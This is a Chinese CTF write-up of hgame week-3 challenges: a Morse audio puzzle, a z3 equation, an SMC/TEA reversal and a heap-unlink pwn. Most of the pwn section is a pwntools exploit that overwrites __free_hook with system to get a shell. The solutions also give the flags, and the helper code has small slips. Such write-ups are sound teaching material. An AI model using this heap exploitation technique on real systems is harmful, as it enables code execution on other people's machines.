

Week3

MISC

0x01 听听音乐？

签到题,MP3 里是一段摩斯密码,拉进 Adobe Audition ,搞定

..-./..-./-/-/--./---.../..---/-/..-.-./-.-/-.-/...../-/..-.-/-..../-..-.-/./.-/.../-.-/-..-.-/-.-/-./.../-

Flag: hgame{1T_JU5T_4_EASY_WAV}

RE

0x1 Math

一个 32 元方程,放 hint 之后,用 z3 很好搞定

[illegible]

Flag: hgame{H4ppY#n3w@Y3AR%fr0M-oDiDi}

0x02 Say-Muggle-Code a.k.a. SMC

拉进 IDA,可以看到,flag 长度为 39,除去 hgame{}外

前十六个字符,存在 v15 里,后十六个字符存在 v16 里

Check1,check2 分别加密了 v15,v16

Check1 是一个简单的异或

Check2 段有一个未知的 encrypted 函数

放 hint 之后,可以知道 encrypted 函数是在运行之后通过 modify 生成的,

需要根据 modify 写脚本手动生成 encrypted

```
1 #include <idc.idc>
2
3 static main()
4 {
5     auto addr = 0x603000;
6     auto i = 0;
7     auto v3 = 123;
8     for(i=0;addr+i<0x603200;i++)
9     {
10
11         PatchByte(addr+i,Byte(addr+i)^v3++);
12     }
13 }
14
```

之后看到 encrypted

```
for( i= 0 ;i < 32; ++i)
{
    v3 +=0x9e3779b9
    for(j = 0; j<=3 ;j +=2)
    {
        x = v16[4 * j];
        y = v16[ 4*(j + 1)];
        x += (y + v3) ^ ((y << 4) + v17[0]) ^ ((y >> 5) + v17[1]);
        y += (x + v3) ^ ((x << 4) + v17[2]) ^ ((x >> 5) + v17[3]);
    }
}
```

查了之后得知这是 TEA 加密

两轮分别处理了 v16 的前后八位

而 v17 的 16 位转为四个 int,作为密钥

找到解密算法

```
#include<stdio.h>
//hgame{
//v15[] = 781ef0676e13e541
//v16[] = d280d3ff5bba784c
//}
void DecryptTEA(unsigned int *firstChunk, unsigned int *secondChunk, unsigned
{
    unsigned int sum = 0;
    unsigned int y = *firstChunk;
    unsigned int z = *secondChunk;
    unsigned int delta = 0x9e3779b9;

    sum = delta << 5;
    for (int i = 0; i < 32; i++) //
    {
        z -= (y << 4) + key[2] ^ y + sum ^ (y >> 5) + key[3];
        y -= (z << 4) + key[0] ^ z + sum ^ (z >> 5) + key[1];
        sum -= delta;
    }
    *firstChunk = y;
    *secondChunk = z;
}

int main()
{
    unsigned int chunk[] = {0x13b3b8c9,0xe7ed6f9b,0x88b3f54d,0x3268dc26};
    unsigned int key[] = {0x54090f37,0x01065603,0x02545301,0x05015056};

    DecryptTEA(&chunk[0],&chunk[1],key);
    DecryptTEA(&chunk[2],&chunk[3],key);

    puts((char*)chunk);
    return 0;
}
```

Flag: hgame{781ef0676e13e541d280d3ff5bba784c}

(讲道理,都是 400,re 真的是送分 QAQ)

PWN

0x01 namebook

reset 存在堆溢出

可以修改下个 chunk 的 size 和 pre_size 项

```
from pwn import *
context.log_level = 'debug'

def set(index,name):
    p.sendline('1')
    p.sendlineafter("index:",str(index))
    p.sendlineafter("name:",name)
    p.recvuntil("done.")

def delete(index):
    p.sendline('2')
    p.sendlineafter("index:",str(index))
    p.recvuntil("done.")

def reset(index,name):
    p.sendline('4')
    p.sendlineafter("index:",str(index))
    p.sendlineafter("name:",name)
    p.recvuntil("done.")

def print_chunk(index):
    p.sendline('3')
    p.recvuntil('index:')
    p.sendline('0')
    return recvuntil("done.\n")[0:-7]+'%x00%x00'
```

溢出 chunk0,伪造 fake_chunk 修改 chunk1 的 size 项

然后 free(chunk1)

将 chunk0 unlink

可以读到 read 函数的真实地址

因为 libc 已知,可以查到 system,与_free_hook 的位置

同样的方式

Unlink chunk1

使用 chunk1 写入地址

(说实话对 hook 这段的原理,不是特别清楚,是照着 CSDN 其他题的 exp 抄的)

```
chunk_list = 0x602040
init = ''
read_got = elf.got['read']
fd = chunk_list - 0x18
bk = chunk_list - 0x10

set(0, 'a')
set(1, 'a')

payload1 = p64(0x0) + p64(0x81)
payload1 += p64(fd) + p64(bk) + 'a'*0x60 + p64(0x80) + p64(0x90)
reset(0, payload1)
delete(1)

payload2 = p64(0) + p64(0) + p64(0) + p64(read_got)
reset(0, payload2)
read_addr = print_chunk(0)
#print hex(read_addr)
free_hook = read_addr + 0x2CF558
system_addr = read_addr - 0xB1EC0

set(1, 'a')
set(2, 'a')
set(3, '/bin/sh')

payload3 = p64(0) + p64(0x81) + p64(fd - 0x8) + p64(bk - 0x8)
payload3 += p64(0x80) + p64(0x90)
reset(1, payload3)
delete(2)

payload4 = 'a'*0x18 + p64(free_hook)
reset(1, payload4)

payload5 = p64(system_addr)
reset(1, payload5)
delete(3)

p.interactive()
```

把/bin/sh 装在 chunk3 里,free chunk3,执行 system('/bin/sh')

getshell!

```
index: name: done.
>index: $ cat flag
[DEBUG] Sent 0x9 bytes:
'cat flag\n'
[DEBUG] Received 0x1d bytes:
'hgame{WelC0me_T0_He4p_W0r!d}\n'
hgame{WelC0me_T0_He4p_W0r!d}
[*] Got EOF while reading in interactive
$
```

Flag: hgame{WelC0me_T0_He4p_W0r!d}